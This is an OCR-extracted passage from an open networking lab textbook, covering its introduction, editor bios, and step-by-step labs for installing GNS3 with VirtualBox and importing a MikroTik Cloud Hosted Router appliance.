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Introduction

MATHEW J. HEATH VAN HORN, PHD

Hello friend,

We have written this book to help anyone, even you, learn fundamental enterprise network principles through
hands-on activities. The book starts by providing you with step-by-step instructions to create your own virtual
environment on any modest PC or laptop running Windows. After setting up your own learning space, we will
walk you through many real-world networking concepts that culminate with you building your own enterprise
network. Once you are comfortable with creating computer networks, we will then show you how to attack your
own network and then how to defend your network against those attacks.

The projects in this book are not advanced networking techniques. The projects are designed for anyone to
learn more about computer networks. We found that many websites and helpful guides spoke to those who
already knew much about computers and computer networks. This book is intended to remove the mystery of
computer networks and put the fundamentals right into the hands of people like you. People who have a desire
to learn but are unsure they can learn this stuff. Believe me, you can.

This book does not go deep into theory. You can learn the theory from any Wikipedia page or a textbook from
the library. Theory abounds us, but what is missing are the fundamentals of putting the theory to use. The focus
of this book is having you do the things that other authors talk about. You won't have to read pages of theory,
analyze best practices, answer questions, or read case studies. After this introduction, you will be getting your
hands dirty and start to make things happen. And you are going to be great at it!

| am Mathew J. Heath Van Horn. | am a military veteran, a church leader, a husband, and a father of five. |
am also a kutte-wearing Harley rider and gratefully serve as a professor of cyber security. I'm no genius; | just
work hard and learned through my many failures. | grew up in a farming town in rural Minnesota. | didn't want
to be a farmer so | joined the Air Force where | spent the next 23 years learning everything | could. | then turned
around and taught recent high school graduates the fundamentals of electronics repair, establishing voice and
data communications, computer programming, and the theoretical principles of cyberspace. These fundamentals
included building computer networks, attacking them as a hacker, and defending them.

Upon retiring as a Cyber Operations Officer, | taught underprivileged New York City college students for five
years in upstate NY. Many of the students | encountered did not enroll in college to pursue a career. In fact, their
number one answer to my new student poll about why they were attending college was “I have nothing else to
do.” When | asked why they wanted to learn cyber technologies, the common response was “I like to play games
on my phone.” Not exactly the highly motivated students desired by professors. However, | firmly believe that
anyone can learn these concepts, and | will do anything | can to teach them.

These students opened my eyes that there are people who believe they ‘can't’ instead of believing they ‘can’.
Lecturing these students with theory was not going to make much progress in their success. So | flipped teaching
on its head and focused on developing as many hands-on learning labs as possible. “Learn by doing” became my
mantra. | taught students who initially couldn't write a term paper or even perform basic mathematical functions
a wide variety of cyber skills. Microsoft Office was our starting point, and from there, | taught students how to
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2 MATHEW J. HEATH VAN HORN, PHD

build and repair computers and use Windows and Linux operating systems. | then developed classes to teach
them programming languages, wired and wireless networking, computer hacking, and defense. Students who
first stepped into my class believing they couldn’t do anything were now graduating from my classes and getting
jobs earning $65,000-$90,000 annually. Oftentimes earning more than their parent’s combined income!

| wish | could say every student was a success, but some students just held onto that defeatist attitude, and
| couldn’t break them of it. However, | can say that every student who put in the effort required by hands-on
learning mastered the material and found great work opportunities. | teach my students how to ‘Karate chop’ a
board on the first day of class. No student has failed to break the board. However, some students took 2 failures
before they succeeded, and others took 30 failures before they did it. Learning involves a lot of trying and failure
before you see success.

True failure involves only one factor: giving up trying.

You will fail in completing the labs in this book. However, you will try them again (sometimes again, again,
and yet again...) and you will find what you did wrong, fix it, and get it to work. All of these labs were tested by
networking novices. Our youngest tester was 12 years old and did nothing more on a computer than play Roblox.
He started doing the labs because he wanted to see what everyone else was doing so he said, “l want to try!”

| recruited college students to help build these labs. Most of these students had vague notions of networking
theory, but some had no idea when they started. My fellow professors asked why | wasn't using graduate students
to help with this book. Remember, | have doing this for nearly 40 years. This means that even though | think | am
explaining something, | skip over fundamental concepts the students don't have and the explanations fall flat. |
call this ‘speeding’, but there is probably some fancy pedagogical term for my actions. | hate it when | speed and
| encourage my learners to call me on it. Anyway, for this effort, | specifically chose students for their enthusiasm
and their abilities were largely secondary.

The student's unique perspectives helped make these labs into what you see, and they deserve all the credit |
can give them. Take note of the names of the writers and testers of each lab. These students are simply great. |
hope you get to meet them someday.

Keep the following in mind as you read this book:

+ This book does not focus on theory. As our younger testers pointed out, “We can Google anything we
want, just help us do stuff!” However, we recognize that the labs in this book can be a mystery without
the theory. So we recommend you pair this book with any Introduction to Networking website or
textbook that caters to your learning style.

+ We used many testers and the labs worked great. We used various desktops and laptops in our tests.
However, GNS3 can be tricky depending on the hardware in the machine. If you are encountering
problems, it could be a hardware problem, but that should be your last thought. When we first started
building these labs, we formatted our hard drives often, but now it is a rare occurrence. Now major
problems are usually because we tried something new and pushed the limits of GNS3 and issues were
not due to lab complexity.

+ We found that people with the least experience should start with a fresh install of Windows. This gave
learners the best results in completing the labs.

+ We do not use punctuation at the end of the lab steps. This is because punctuation could cause
confusion among new learners. In these labs, we focus on command-line interface (CLI) typing.
However, CLI commands rely on spaces, periods, and other symbols used by sentences. By removing
the ending punctuation, clarity emerged and learners were more successful.

+ RTFQ is an oft-used acronym that means “Read The ‘Full’ Question”. It indicates that you probably
missed something because you didn't read slowly and carefully. My kids have heard this so often that
they apply it in their own lives. On my daughter's first day of high school, the teacher gave the class a
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pretest similar to this one and my daughter was the only one who got it right. All because of RTFQ.

+ Occasionally you will see notes in the labs. These were inserted because some lab testers had problems
and others didn't or there was a snippet of theory that helps explains the “why” of the lab at that time.

* New learners found that 7-Zip worked the best in unzipping the files. Windows Zip worked sometimes,
so we suggest you download and install 7-Zip for work on these labs.

+ Other teachers wanted homework and grading recommendations for the labs. We made these
inclusions, but people need to keep in mind that cyber is a 1 or 0 profession. | grade my student’s work
based on a binary grading scale. The student either got the lab to work or not. There is no such thing as
being “almost”, “mostly”, or “kind of"” pregnant. Networks are the same way, there is no such thing as
“Computer A can nearly communicate with Computer B”. They either communicate or not. Therefore,
the deliverables and homework are written with this all-or-nothing idea.

+ We used many screenshots to communicate the steps at the beginning of the book. We first embedded
the screenshots in the text, but our testers said frequent figures slowed down what they were doing. So
we moved most of them to a link that you can click on as you need them. As the labs progressed, we
used fewer screenshots since much of the material had already been covered.

+ Speaking of which, we generally do not repeat material. Since this is an e-book, the learner can have
more than one lab open at a time to refer back to other labs as often as you need to.

+ We want learners to learn a wide variety of skills. Therefore, we deliberately used different techniques
to satisfy common tasks. This way learners gain topical networking experience and various tools and
techniques in virtual and physical machines.

« This book is intended to be a living document. We are sure that both learners and teachers will be
sending us feedback on things we missed or just general suggestions of material they think should be
included. Also, cyber changes rapidly, and these labs will not stay static as written; they just can't. We
welcome comments and suggestions. Furthermore, if anyone wants to submit a complete lab, we will
evaluate its applicability and gladly incorporate it into the textbook and give the submitter full credit.

In conclusion, we used professional and novice inputs in building learning labs to reach the widest learner
audience possible. We want people to enjoy learning networking principles by doing rather than reading. We
hope you enjoy this textbook, and we know you can do it!
Sincerely,
Mathew J. Heath Van Horn, PhD
Jacob Christensen, Student
Julian Romano, Student
Raechel Ferguson, Student
Dante Rocca, Student


http://www.sanchezclass.com/docs/Directions%20Test.pdf
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About Our Student Editors

MATHEW J. HEATH VAN HORN, PHD

Each chapter lists the students who contributed to that lab, but | would like to bring recognition to the student

editors specifically. We started

Jake Christensen (2023-Present) - Jake is new to cybersecurity. He spent 2 years as an aerospace engineering
major before making the change. Jake used his college experience to contribute to this textbook’s overall pace
by sharing his fellow students’ observations as they learned these complex materials. He also spent many
evenings in the cyber lab ensuring all of the labs worked in a teaching environment, not just on student personal
PCs. Jake also became our self-taught subject matter expert in developing the Linux labs.

Dante Rocca (2023-Present) - Dante became a surprise editor. Once | gave them access to the textbook, they
completed the first 16 chapters over a weekend! Dante is amazing and right now they pull double duty as
the cleanup editor and the copy editor for Part Il. They kept the rest of us on track and caught what we
missed. They polished the formatting of the labs and led our efforts to make sure the printed version of this
ebook looked sharp. They also volunteered for the herculean effort of completing the 2,800-item checklist for
publishing.

Julian Romano (2023-Present) - Julian is our jack of all trades. Not only has he tested most of the labs in this book,
but Julian uses his experience as a lead help desk technician to ensure the instructions are clear and easy to
follow. Julian presented this effort to various industry and educational groups. He became the slide and poster
master and easily answered expert and layman questions about this book. Furthermore, he is busy writing
undergraduate grants so our students can focus on cyber-related activities instead of working other jobs.

Raechel Ferguson (2023-Present) - Raechel first approached me with an idea. She wanted to learn Windows
Server and she felt that having an objective of developing labs would help her do that. Raechel's many
extracurricular activities limit her time availability to this effort, but her Windows labs have proven invaluable.
She will continue to develop more as she has time. Raechel partners with Julian in presenting our textbook
writing effort and assists in preparing the grant.

Kyle Wheaton (2024) - He dominated in his enthusiasm for this project. He became involved when | used this
book in class and he had so many great ideas. We brought him on board to turn those ideas into reality. His
contributions resulted in making good learning activities into ones that are fun and exciting. A couple of labs would
not exist past the idea stage without Kyle putting in the effort.

Justin La Zare (2024) - Is our resident Capture the Flag Expert. He has traveled the world to provide
aeronautical-based CTF events to industry and academia. He had a break from his busy schedule and volunteered
his time and expertise to develop Part IV of this book. He turned brainstormed ideas into tangible learning
activities.

Sincerely,

Dr. HVH
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CHAPTER 1

Introduction to Part I

MATHEW J. HEATH VAN HORN, PHD

JUST A QUICK NOTE BEFORE THE LABS BEGIN

The labs in this section are designed for users to set up their own devices so they can complete the learning labs.
The labs in this section are not designed to be homework assignments. We didn't list means of evidence to show
completion of the lab or suggested extensions of the lab as we do in the later parts of the book.

These setup labs have been tested on various devices and by experts and novices alike. They were tested a lot.
Most of the testers had to start from scratch several times. This is both a good and bad thing. Good: because the
steps are practiced, the links are tried, the screenshots are accurate, and the processes are tested. Bad: because
many of the testers had wiped and reinstalled so many times that they memorized the processes. Memorization
means that their brain would fill in gaps in the instructions. A phenomenon | call ‘speeding’. If you encounter a
lab where speeding occurred, you should be pretty safe in just accepting the default settings and hitting the ‘Next’
button.

We also used this section to build the student learning lab environment for Embry-Riddle Aeronautical
University - Prescott. After this, Deep Freeze was employed so that if a student screwed things up, they could
return to start without having to reinstall, rebuild, or reconfigure GNS3 and the associated VMs. This worked out
well for our lab environment.

Furthermore, the labs are a mixed bag when using Apple devices. We didn't have Apple devices to test the labs
on, but some students got them working on their devices and some students were unable. We tested on various
instances of Windows and Linux desktops and laptops.

Finally, here is a list of the software versions that were used for these labs:

* GNS3 -ver 2.2.46 (Note: the GNS3 and GNS3 VM versions must be the same)
* GNS3VM -ver 2.2.46

+ MikroTik Cloud Hosted Router - ver 7.11.2

* Windows 11 evaluation

* Windows Server 2019 evaluation

+ TinyCore - ver 6.6.8

+ Ubuntu - ver 24.04

+ Ubuntu Server - ver 24.04
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+ Kali-ver 2024.1 Rolling

Sincerely,
Mathew J. Heath Van Horn, PhD
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CHAPTER 2

Setting Up a GNS3 Environment

MATHEW J. HEATH VAN HORN, PHD

I've been teaching the learning of networking principles for many years. In my experience, one of the biggest
obstacles to learning networks and associated applications is the lack of a lab for learners to play. Graphical
Network Simulator 3 (GNS3) solves many of those problems. GNS3 uses few hardware resources and can emulate
complex networks using real images. Students no longer require access to a dedicated lab or to spend money on
cloud architectures. GNS3 can be installed and used on most laptops on the market. A better processor and more
RAM on the host machine will improve the GNS3 experience, but this is true with every application.

LEARNING OBJECTIVES

+ Create a working GNS3 Learning Environment on a PC or laptop

PREREQUISITES

* Install Oracle VirtualBox

DELIVERABLES

* None - This is for student needs

RESOURCES

+ GNS3 Documentation, https://docs.gns3.com/docs/

CONTRIBUTORS AND TESTERS

Testers:

* Quinton D. Heath Van Horn, 7th Grade

+ David Reese, Mathematics Student, SUNY Brockport

« Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni

+ Salvador Morales, Safety Management System Analyst, ERAU-Prescott Alumni

1


https://www.virtualbox.org/
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+ Evan Paddock, Cybersecurity Student, ERAU-Prescott

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

+ Sawyer Hansen, Cybersecurity Student, ERAU-Prescott
« Bernard Correa, Cybersecurity Student, ERAU-Prescott

+ Justin La Zare, Cybersecurity Professional, ERAU-Prescott

Phase | - Install GNS3 Environment

There are two parts to GNS3: the GNS3 Working Environment and the GNS3 Virtual Machine (VM). This section
covers the installation of the GNS3 environment.

[

Control Node Annotate I

£ BE el . B = e e DO
> b C & 1O

. (=)
W [N - I [ W il

]

g |
B3

“  Topology Summary ey
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Figure 14 - GNS3 Workspace

1. Navigate to GNS3 at https://www.gns3.com/

2. Click on the Free Download button
3. Select Windows, Mac, or Linux as appropriate, and then Download

4. Create your GNS3 Community Account as prompted, login, and then return to the download page

NOTE: No one has reported spam from this registration.

5. Run the installer you downloaded and accept the default options. If prompted:


https://www.gns3.com/
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» Permit uBridge to run as root to capture packets
» Do not accept the free offers

» Do NOT start GNS automatically! Doing so can distract new learners due to the errors
that will pop up

Phase Il - Install the GNS3 VM (Virtual Machine)

This is where you will install the GNS3 VM. Remember, the GNS3 Working Environment and the GNS3 VM must
be the same version.

1. Navigate to the GNS3 VM download page at https://www.gns3.com/software/download-vm

2. Select the image for VirtualBox

3. Extract (unzip) the .zip file

NOTE: You may get 2 errors while unzipping the file and it will show 99% completion. This happens
on occasion and does not affect the extracted file.

4. Download and launch https://www.virtualbox.org/wiki/Downloads

5. Select File — Import Appliance — Import (Figure 1) and navigate to the .ova file (“GNS3 VM.ova") that
you just downloaded and unzipped. In this example, our .ova file is named “GNS3 VM.ova"(Figure 2)

6. Click Next (Figure 3)
7. Click Finish to accept the default appliance settings (Figure 4)

8. Adjust the network settings of the GNS3 VM by selecting the VM and then selecting settings (Figure
5)

9. In the network settings, under Network Adapter 1, select the name of the host-only adapter drop-
down arrow. YES, even if the right name is already in the box. Just do it, and click OK. If you don't do this,
you will get a network error when you start the virtual machine (Figure 6)

NOTE: If no Host-only adapter is available, your VirtualBox version may need to be updated or
reinstalled. If the VM still will not launch properly, then open Device Manager -> Network adapaters
-> Virtualbox Host-Only Ethernet Adapter -> Disable Device. Re-enable the device again and restart
VirtualBox.

10. Finally, start the GNS3 VM you installed to ensure it runs properly. This is a very lightweight version


https://www.gns3.com/software/download-vm
https://www.virtualbox.org/wiki/Downloads
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture1.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture2.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture3.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture4.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture5.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture5.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture6-1.png
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of Linux (Figure 7)

11. Stop the GNS3 VM

Phase Il - Configure GNS3

Now we are going to configure the GNS3 working environment for first-time use. You may encounter many
errors when it first starts. This is normal because the GNS3 default settings use VMWare, and we are using
VirtualBox. We tried using the free version of VMWare, and it does not have the features installed to be used with
GNS3. We are trying to keep things free for learners to learn and not make them spend money.

Also, if you mess up the configuration, you can always re-run the setup wizard. On the GNS3 toolbar, click Help
-> Setup Wizard.

1. Launch GNS3

NOTE: Sometimes VPNs will interfere with GNS3 working properly. It is recommended that they be
disabled before launching GNS3.

NOTE: You may see the prompt “uBridge requires root permissions to interact with network
interfaces.” Say YES. This allows you to connect GNS3 with the real network if desired.

NOTE: Sometimes GNS3 asks you to name a new project. If so, just pick any name and click OK.

2. Next, choose how to run your GNS3 network simulations by selecting Run appliances in a virtual

machine (Figure 8)

3. Accept the defaults for the Local Server Configuration and click Next (Figure 9)
4. You should get a successful message. Click Next (Figure 10)

5. The GNS3 default setting is to use VMWare by default so you will get an error. Select OK and choose
VirtualBox (Figure 11)

6. When you change the radio button, the GNS3 VM you imported and started in VirtualBox earlier
should auto-populate. Use the default settings and click Next (Figure 12)

7. Then select Finish (Figure 13)
8. You should have a screen like the one in Figure 14. The windows are adjustable, but the window to

take note of is the “Servers Summary”. You should see your bare metal machine (In Figure 14 it is Dr.
HVH) and the GNS3 VM both show green lights and details of how many resources are being used. If the


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture7.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture8.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture9.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture10.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture11.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture12.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture13.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Picture14.png
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server indicator light is still grey, power off the GNS3 VM and restart the GNS3 Working Environment

9. When you start GNS3 it can take a minute or two while the GNS3 VM launches. The indicator will
remain grey until it is fully running

Phase IV Final note - Disabling KVM

Depending on the hardware of your bare-metal machine, you may get an error stating that KVM acceleration
cannot be used. Simply turn off KVYM support in the gns3_server.conf by adding enable_kvm = false to the [Qemul]
section. Follow the steps below.

9.1. Open the GNS3 VM (Figure 15)

9.2. Use the cursor keys to navigate to configure

9.3. Add the following line to the bottom (Figure 16): [Qemu] enable_kvm = false
9.4. Press <ctr/> O to write out the file (e.g. save the file)

9.5. Accept the path by pressing <enter>

9.6. Press <ctrl> X to exit

9.7. Restart the GNS3 VM

End of Lab
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List of Figures for Printing Purposes

V¢ Oracle VM VirtualBox Manager

File Machine Help
&/'9 Preferences... Ctrl+G

\

© P& I &F

Import Appliance... Ctrl+I
Export Appliance... Ctrl+E

Tools »

Check for Updates...
Reset All Warnings

Quit Ctrl+Q

Figure 1 - Import appliance
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ﬁ Please choose a virtual appliance file to import X
&« = ~ A~ « GNS3 » GNS3.VM.VirtualBox.2.2.38 (3) v O Search GNS3.VM.VirtualBox.... 2
Organize ~ New folder =- 13 0
> w Mathew - Persor Name Date mod ifiedv Type
> 3 OneDrive - Emb v Today
"% GNS3 VM 5/2/2023 3:09 PM Open Virtualization F.
@M Desktop A
4 Downloads #
@1 Documents  #
P9 Pictures »
B Music »
B3 Videos » e
File name: |GNS3 VM ~ | Open Virtualization Format (*.o» ~
Open Cancel

Figure 2 - Importing GNS3 VM
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Appliance to import

Please choose the source to import appliance from. This can be a local file system to import OVF archive
or one of known cloud service providers to import doud VM from.

Source: Local File System

Please choose a file to import the virtual appliance from. VirtualBox currently supports importing
appliances saved in the Open Virtualization Format (OVF). To continue, select the file to import below.

File: C:\Users\mheat\Downloads\GNS3\GNS3.VM.VirtualBox.2.2.38 (3)\GNS3 VM.ova _a

Help Expert Mode Back Next Cancel

Figure 3 - Importing an appliance



SETTING UP A GNS3 ENVIRONMENT

Virtual System 1
C{;\? Name
4] Guest 0S Type
J cru
# ram

{1 sound Card

m Network Adapter
m’ Network Adapter

Machine Base Folder:

Appliance is not signed

Help

Appliance settings

These are the virtual machines contained in the appliance and the suggested settings of the imported
VirtualBox machines. You can change many of the properties shown by double-clicking on the items and
disable others using the check boxes below.

GNS3 VM

P4 Ubuntu (64-bit)

1

2048 MB

@ ICH AC97

@ Intel PRO/1000 MT Desktop (82540EM)
@ Intel PRO/1000 MT Desktop (82540EM)

C:\Users\mheat\VirtualBox VMs

MAC Address Policy: Include only NAT network adapter MAC addresses
Additional Options: & Import hard drives as VDI

Back Finish

19

Cancel

Figure 4 - Appliance settings in VirtualBox

A
T

New

Figure 5 - Clicking on settings in VirtualBox

Settings Discard

s =

v
Start
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| &3 GNS3 VM - Settings - m} b4
[-1 General Network
B | System Adapter 1  Adapter 2  Adapter 3 Adapter 4
[
- Display 8 Enable Network Adapter [
oy Storage Attached to: Host-only Adapter =
Name: |VirtualBox Host-Only Ethernet Adapter ~ I
(EDZ] Audio > Ad ed VirtualBox Host-Only Ethernet Adapter
L VirtualBox Host-Only Ethernet Adapter #2
@ Network \VirtualBox Host-Only Ethernet Adapter #3 !
@ Serial Ports
ﬁf? use
D Shared Folders
H User Interface
Invalid settings detected E Cancel Help

B

Figure 6 - Selecting the network adapter in VirtualBox
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ﬁ GNS3 VM [Running] - Oracle VM VirtualBox O X

File  Machine View [Input Devices Help

GNS3 server version: 2.2.38
Release channel: 2.2

WM version: 0.14.0

Ubuntu version: focal

Qemu version: 4.2.1
Virtualization: virtualbox
kvm

KWM support available: False
Uptime: up 0 minutes

IP: 192.168.56.108 PORT: 80

To log in using SSH: ssh gns3@192.168.56.108
Password: gns3

To launch the Heb-Ui: http://192.168.56.108

Images and projects are stored in ‘sopt/gns3’

(s) et | @l S < [&] Riaht ot

Figure 7 - GNS3 VM settings
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e Setup Wizard ? X

Server

Please choose how would like to run your GNS3 network simulations. The GNS3 VM option is strongly
recommended on Windows and Mac OS X.

@ Run appliances in a virtual machine

Requires to download and install the GNS3 VM (available for free)
O Run appliances on my local computer

A limited number of appliances like the Cisco 10S routers <= C7200 can be run
O Run appliances on a remote server (advanced usage)

The server will be on a remote computer and can be shared with multiple users

V| Don't show this again

Next > Cancel

Figure 8 - GNS3 working environment setup wizard
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p
e Setup Wizard

Local server configuration
Please configure the following GNS3 local server settings

Server path:
Host binding:

Port:

A

C:\Program Files\GNS3\gns3server.EXE J | Browse... I

localhost v |

3080 TCP s
< Back Next > Cancel

Figure 9 - GNS3 Setup Wizard - Local Server Configuration
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e Setup Wizard ? X

Local server status
Validation of the configuration for the local server

Connection to the local GNS3 server has been successful!

< Back Next > Cancel

L. A

Figure 10 - GNS3 Setup Wizard - Local Server Status
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8 Setup Wizard X
GNS3 VM
In order to run the GNS3 VM you must first have VMware or VirtualBox installed and the GNS3 VM.ova
imported with one of these software,
Virtualization software:
@ VMware (recommended)
e
@ GNS3 v %
Could not find a VM named ‘GNS3 VM, is it imported in VMware or
VirtualBox?
Lok
- o
1 )
RAM size:
2048 MB :J
< Back Next > Cancel

Figure 11 - GNS3 Error, cannot find GNS3 VM in VMware
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6 Setup Wizard ! X
GNS3 VM
In order to run the GNS3 VM you must first have VMware or VirtualBox installed and the GNS3 VM.ova
imported with one of these software,
Virtualization software:

O VMware (recommended)
(®) VirtualBox

If you don't have the GNS3 Virtual Machine you can download it here.
And import the VM in the virtualization software and hit refresh.

VM name:

GNS3 VM v|[ Refresh |
vCPU cores:

£ <)

RAM size:

2048 M8 B

<gck || Mee> || concel |

Figure 12 - GNS3 VM Setup Wizard Changing to VirtualBox
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B Setup Wizard

Summary
The server type has been configured, please see the summary of the settings below

Server type: GNS3 Virtual Machine

VM engine: Virtualbox
VM name: GNS3 VM
VM vCPUs: 1

VM RAM: 2048 MB

< Back | ‘ Finish

Cancel

Figure 13 - Finish Setup Wizard
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@& Gns2

File Edit View Control Mode Annotate Tools Help

e OFR>)> HBC FmIIIO .~

Please create a project

e O

o x
~
bRAQ
“  Topalogy Summary EES
Node Console
Servers Summary GIES |

€3 Dr HVH CPU 1.2%, RAM 38.4%
3 GNS3 VM (GNS3 VM) CPU 0.5%, RA...

Figure 14 - this is what your screen should look like after finishing the Setup Wizard
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E GNS3 VM [Running] - Oracle VM VirtualBox — O x

GNS3 2.2.40

Information Display WM information
Channel Select the release channel
pgrade Upgrade the GNS3 WM
shell Open a shell
Log Show the GNS3 serwver log
Test Check Internet connection
Demu Switch Qemu wersion
Security Configure server authentication
keyhoard Change keyhboard layout
Console Change console setting
ZLrE server confi :
Proxy Configure proxy =
Metwark Configure netwark settings
Higrate Migrate data to another GMNS3 WM
Restore Restore the WM (if an upgrade has failed)
Shrink sShrink the WM disk
Feboot Reboot the WM
Shutdown Shutdown the WM

LCancel>

G L o) ) il BT < [ Riaht crd

Figure 15 - Disabling Qemu settings in the GNS VM
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enable_kwm = fa

e Get Help Write Out
Fead File

Figure 16 - Disabling Qemu for the GNS3 VM

MATHEW J. HEATH VAN HORN, PHD
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CHAPTER 3

Adding a MikroTik Appliance in GNS3

MATHEW J. HEATH VAN HORN, PHD

MikroTik is a Latvian enterprise network equipment manufacturer. Their network hardware is used in enterprise
networks throughout the world. Their router operating system software is free to use for non-commercial
purposes. We use the MikroTik Cloud Hosted Router (CHR) router operating system throughout this book because
we have found that it has many of the same features as other commercial products while also being very reliable
while running in the GNS3 working environment.

LEARNING OBJECTIVES

+ Successfully download, install, and run MikroTik Cloud Hosted Router appliance in a GNS3 environment

PREREQUISITES

+ Chapter 2 - Setting Up a GNS3 Environment

DELIVERABLES

* None - this is a preparatory lab that supports other labs in this book

RESOURCES

* GNS3 Documentation - https://docs.gns3.com/docs

+ MikroTik Documentation - https://help.mikrotik.com/docs/display/ROS/Getting+started

CONTRIBUTORS AND TESTERS

Testers:

* Quinton D. Heath Van Horn, 7th Grade
+ David Reese, Mathematics Student, SUNY Brockport
+ Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni
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Salvador Morales, Safety Management System Analyst, ERAU-Prescott Alumni
Evan Paddock, Cybersecurity Student, ERAU-Prescott

Dante Rocca, Cybersecurity Student, ERAU-Prescott

Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

Phase | - Installing a MikroTik router

A0 H @

Many learners use MikroTik routers to learn enterprise networking principles. You will find many instruction
sites on the internet using MikroTik in GNS3.

& untitled777 - GNS3

sz 0B-)HC EELS/ GaAn

Figure 12 - MikroTik Router successfully installed to the GNS3 Working Environment

Control Node Annotate Tools Hel

Routers ®

| Topology Summary e
Filter Node Console
@ MikoTik CHR 7101 © MikroTikCHRT.10.1-1 telnet 192.168.56.113:5000
MikroTikCHR7.10.1-1
Servers Summary og)
© Dr_HVH CPU 2.1%, RAM 396%
» ) GNS3 VM (GNS3 VM) CPU 1.2%, RAM 36.3%
= tew template 1 =

Consolle . N G|
Copyright (c) 2006-2023 GNS3 Technologies. -

Use Help -> GNS3 Doctor to detect common issues.

=> Cannot install MikroTik CHR version 7.10.1: File chr-7.10.1.img with checksum 917729679b999256.2f4160d461b21cac not found for MikroTik CHR

1. Visit the GNS3 Marketplace at https://www.gns3.com/marketplace/appliances

2. Inthe search appliances field, type “MikroTik" (Figure 1)
3. Navigate to the MikroTik CHR appliance and click on it (Figure 2)
4. Download the appliance by hitting the Download button

5. Scroll down to the most recent version of the image and click on the Download link. In this case, we
are using the chr-7.7.img (Figure 3)

6. Navigate to your downloads folder (or wherever you download the files) and unzip the image file


https://www.gns3.com/marketplace/appliances
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft-ch1-mikrotik-1.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft-ch1-mikrotik-2.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft-ch1-mikrotik-3.png
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7. Start GNS3 Workspace

8. At the GNS Workspace top ribbon bar, go to File and on the submenu click on Import Appliance
(Eigure 4)

9. Select the appliance file that you downloaded (Figure 5)
10. Press the Open button

11. Select the server type Install the appliance on the GNS3 VM (recommended) and press the Next
button (Figure 6)

12. Accept the default QEMU settings and press the Next button (Figure 7)

13. Highlight the Appliance Version (in this case we are using version 7.10.1) and you will see the status
Missing Files. To fix this, click on Import (Figure 8)

14. Navigate to where you unzipped the image file from Step 6 (Figure 9)

15. Now the status has changed to Ready to Install. Highlight the Ready to Install and click on Next
(Figure 10)

16. Confirm the installation by pressing Yes
17. Read the notes, and press Finish (Figure 11)

18. You will now see the MikroTik router in the Routers Menu. You can drag it to the workspace and
start it to make sure it runs (Figure 12)

End of Lab

List of Figures

Search Results mikrotik

r mikrotik
APPLIANCE APPLIANCE
a MikroTik RB450G ﬂ MikroTik RB450Gx4

Figure 1 - Searching GNS3 marketplace for MikroTik appliances
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https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/draft_mikrotik_figure-7.png
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@ Software  Documentation  Community Marketplace  Academy

APPLIANCE

MikroTik CCR1036-8G-25+

APPLIANCE

MikroTik CRS328-24P-45+

APPLIANCE

MikroTik CHR

Figure 2 - Showing the MikroTik CHR appliance on GNS3 marketplace

AV, 5658 WID

Appliance Documentation
Documentation for using the appliance is available here:

Versions Supported

MikroTik CHR 7.7
File MD5 Size

chr-7.7img efc4fdeblcc06dc240a14f1215fd59b3 134 MB Jownloa

Figure 3 - Downloading the MikroTik router image from GNS3 marketplace
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@ 6Ns3

I§II: Edit View Control MNode Annotate
B New blank project Ctrl+N
= Open project Ctrl+Q

E Save project as...
E Edit project
:I Delete project
E Export portable project
'E Import portable project
4= New template
1. Lab1l.gns3
2. untitled.gns3
3. untitled89.gns3
4. untitled99.gns3

Tools Help

HC @r

4= Qui Ctrl+Q

=

Figure 4 - Screenshot of GNS3 Workspace menu selection
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e Import appliance X
| ¢« 5 ~ 1 4 > Downloads v C Search Downloads e
Organize ~ New folder = - [ o
v
> @ Mathew - Embry Name Date modified Type Size
~ Today
@ Deskr » D mikrotik-chr 7/25/2023 10:57 AM GNS3 Appliance File 6 KB
esktop
L Downloads # ~ chr-7.10.1.img 7/25/2023 10:58 AM File folder
~ Last month

= Documents #

D juniper-vmx-vfp 6/14/2023 12:42 PM GNS3 Appliance File 10KB
P pictures »

— chr-7.8xdi 6/22/2023 11:54 AM File folder
@ Music »

~ kali-linux-2022.3-virtualbox-amd64 6/22/2023 11:54 AM File folder
i3 videos »

. chr-7.7.img 6/16/2023 3:20 PM File folder
~ Simple LAN

File name: | mikrotik-chr ~ | GNS3 Appliance (*.gns3applian ~
Open Cancel

Figure 5 - Selecting the appliance to import into GNS3 Workspace

3 Install MikroTik CHR appliance ? X

Server
Please choose a server type to install the appliance. The grayed out server types are not supported or configured.

Server type

() Install the appliance on a remote server
(®) Install the appliance on the GNS3 VM (recommended)

-Zj:i- Install the appliance on your local computer

ﬁpplianceinfo” Mext = || Cancel

Figure 6 - Configuring the GNS3 Workspace with a MikroTik appliance
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@ Install MikroTik CHR appliance

Qemu settings
Please choose the gemu binary that will be used to run this appliance.

37

Qemu binary: |j’binfqemu—system—xﬂﬁ_64 (v4.2.1)

Figure 7 - Accept the QEMU settings

ﬁpplianceinfo” < Back || Mext = || Cancel
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3 Install MikroTik CHR appliance ? X
Required files -
Please select one version of MikroTik Cloud Hosted Router and import the required files. Files are searched in your downloads and
GNS3 images directories by default
Appliance version and files Size Status
¥ MikroTik Cloud Hosted Router version 7.10.1 128.0 MB Missing files

chr-7.10.1.img 128.0 MB Missing
» MikroTik Cloud Hosted Router version 7.7 128.0 MB Ready 1o install
